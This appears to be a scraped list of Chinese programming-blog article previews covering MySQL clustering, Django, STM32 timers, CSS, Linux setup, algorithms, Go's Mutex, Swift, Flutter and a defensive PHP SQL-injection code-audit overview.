项目名称&#xff1a;基于keepalivedgtid双vip半同步主从复制的MySQL高性能集群 目录 项目名称&#xff1a;基于keepalivedgtid双vip半同步主从复制的MySQL高性能集群 项目规划图 1.配置4台MySQL服务器&#xff08;1台master&#xff0c;2台slave&#xff0c;1台backup&a…

【Django开发】0到1美多商城项目md教程第5篇:短信验证码,1. 避免频繁发送短信验证码逻辑分析【附代码文档】

美多商城完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;欢迎来到美多商城&#xff01;&#xff0c;项目准备。展示用户注册页面&#xff0c;创建用户模块子应用。用户注册业务实现&#xff0c;用户注册前端逻辑。图形验证码&#xff0c;图形验证码接口设…

江协STM32:定时器定时中断和定时器定时闹钟

定时器中断 新建文件 按这个图来编写程序 第一步&#xff1a;RCC开启时钟&#xff0c;定时器到基准时钟和整个外设到工作时钟就会同时打开 第二步&#xff1a;选择时基单元的时钟源&#xff0c;对于定时中断选择内部时钟源 第三步&#xff1a;配置时基单元&#xff0c;ARR,P…

CSS设置网页背景

目录 概述&#xff1a; 1.background-color: 2.background-image&#xff1a; 3.background-repeat&#xff1a; 4.background-position&#xff1a; 5.background-attachment&#xff1a; 6.background-size&#xff1a; 7.background-origin&#xff1a; 8.background-…

【Linux】Ubuntu 磁盘管理

准备一个U盘或者SD卡&#xff08;含读卡器&#xff09;&#xff0c;并将其格式化成 FAT32 格式&#xff0c;不要使用NTFS格式&#xff08;这是微软的专利&#xff0c;大部分Linux系统不支持&#xff09;和exFAT格式&#xff08;有的Linux系统也不支持&#xff09;。 如果Ubun…

Linux云计算之Linux基础2——Linux发行版本的安装

目录 一、彻底删除VMware 二、VMware-17虚拟机安装 三、MobaXterm 安装 四、Centos 发行版 7.9的安装 五、rockys 9.1的安装 六、ubuntu2204的安装 一、彻底删除VMware 在卸载VMware虚拟机之前&#xff0c;要先把与VMware相关的服务和进程终止 1. 在windows中按下【Windo…

【算法练习】28:选择排序学习笔记

一、选择排序的算法思想 弄懂选择排序算法&#xff0c;先得知道两个概念&#xff1a;未排序序列&#xff0c;已排序序列。 原理&#xff1a;以升序为例&#xff0c;选择排序算法的思想是&#xff0c;先将整个序列当做未排序的序列&#xff0c;以序列的第一个元素开始。然后从左…

Python快速入门系列-7(Python Web开发与框架介绍)

第七章:Python Web开发与框架介绍 7.1 Flask与Django简介7.1.1 Flask框架Flask的特点Flask的安装一个简单的Flask应用示例7.1.2 Django框架Django的特点Django的安装一个简单的Django应用示例7.2 前后端交互与数据传输7.2.1 前后端交互7.2.2 数据传输格式7.2.3 示例:使用Flas…

蓝桥杯23年第十四届省赛-异或和之和|拆位、贡献法

题目链接&#xff1a; 蓝桥杯2023年第十四届省赛真题-异或和之和 - C语言网 (dotcpp.com) 1.异或和之和 - 蓝桥云课 (lanqiao.cn) 参考题解&#xff1a; 蓝桥杯真题讲解&#xff1a;异或和之和 &#xff08;拆位、贡献法&#xff09;-CSDN博客 洛谷P9236 [蓝桥杯 2023 省 A]…

2024 年最新使用 Wechaty 开源框架搭建部署微信机器人(微信群智能客服案例)

读取联系人信息 获取当前机器人账号全部联系人信息 bot.on(ready, async () > {console.log("机器人准备完毕&#xff01;&#xff01;&#xff01;")let contactList await bot.Contact.findAll()for (let index 0; index < contactList.length; index) {…

STC89C51学习笔记(二)

STC89C51学习笔记&#xff08;二&#xff09; 综述&#xff1a;本文简要介绍了51单片机以及示例了如何成功运行一个程序&#xff08;点亮一个LED&#xff09;。 一、单片机介绍 单片机简称MCU&#xff0c;MCUCPURAMROM定时器中断系统通讯协议等单片机任务是信息采集、处理、…

Go 源码之互斥锁 Mutex

文章目录 一、总结二、源码&#xff08;一&#xff09;Mutex&#xff08;二&#xff09; Lock&#xff08;三&#xff09;Unlock 三、常见问题有劳各位看官 点赞、关注➕收藏 &#xff0c;你们的支持是我最大的动力&#xff01;&#xff01;&#xff01;接下来会不断更新 golan…

2.Swift基础控件:图标文字按钮

Swift图标标题按钮 一、自定义IconTitleButton类 import Foundation/* 枚举 设置 图片的位置 */ enum ButtonImagePosition : Int {case imageTop 0case imageLeftcase imageBottomcase imageRight } extension UIButton {/**type &#xff1a;image 的位置Space &#xff1…

代码审计-PHP原生开发篇SQL注入数据库监控正则搜索文件定位静态分析

文章目录 前言1、Bluecms-CNVD-1Day-常规注入审计分析2、emlog-CNVD-1Day-常规注入审计分析3、emlog-CNVD-1Day-2次注入审计分析 前言 挖掘技巧&#xff1a; -语句监控-数据库SQL监控排查可利用语句定向分析 -功能追踪-功能点文件SQL执行代码函数调用链追踪 -正则搜索-(update…

时序预测 | Matlab实现SOM-BP自组织映射结合BP神经网络时间序列预测

时序预测 | Matlab实现SOM-BP自组织映射结合BP神经网络时间序列预测 目录 时序预测 | Matlab实现SOM-BP自组织映射结合BP神经网络时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现SOM-BP自组织映射结合BP神经网络时间序列预测&#xff08;完整源码…

Flutter-发布插件到pub上传不上问题

问题1&#xff1a; 尝试指令&#xff1a; flutter packages pub publish --serverhttps://pub.dartlang.org问题2&#xff1a; 问题1解决后&#xff0c;进入验证身份&#xff0c;点击终端显示的链接&#xff0c;跳转到google验证&#xff0c;记得这里要科*学上网&#xff0c;点…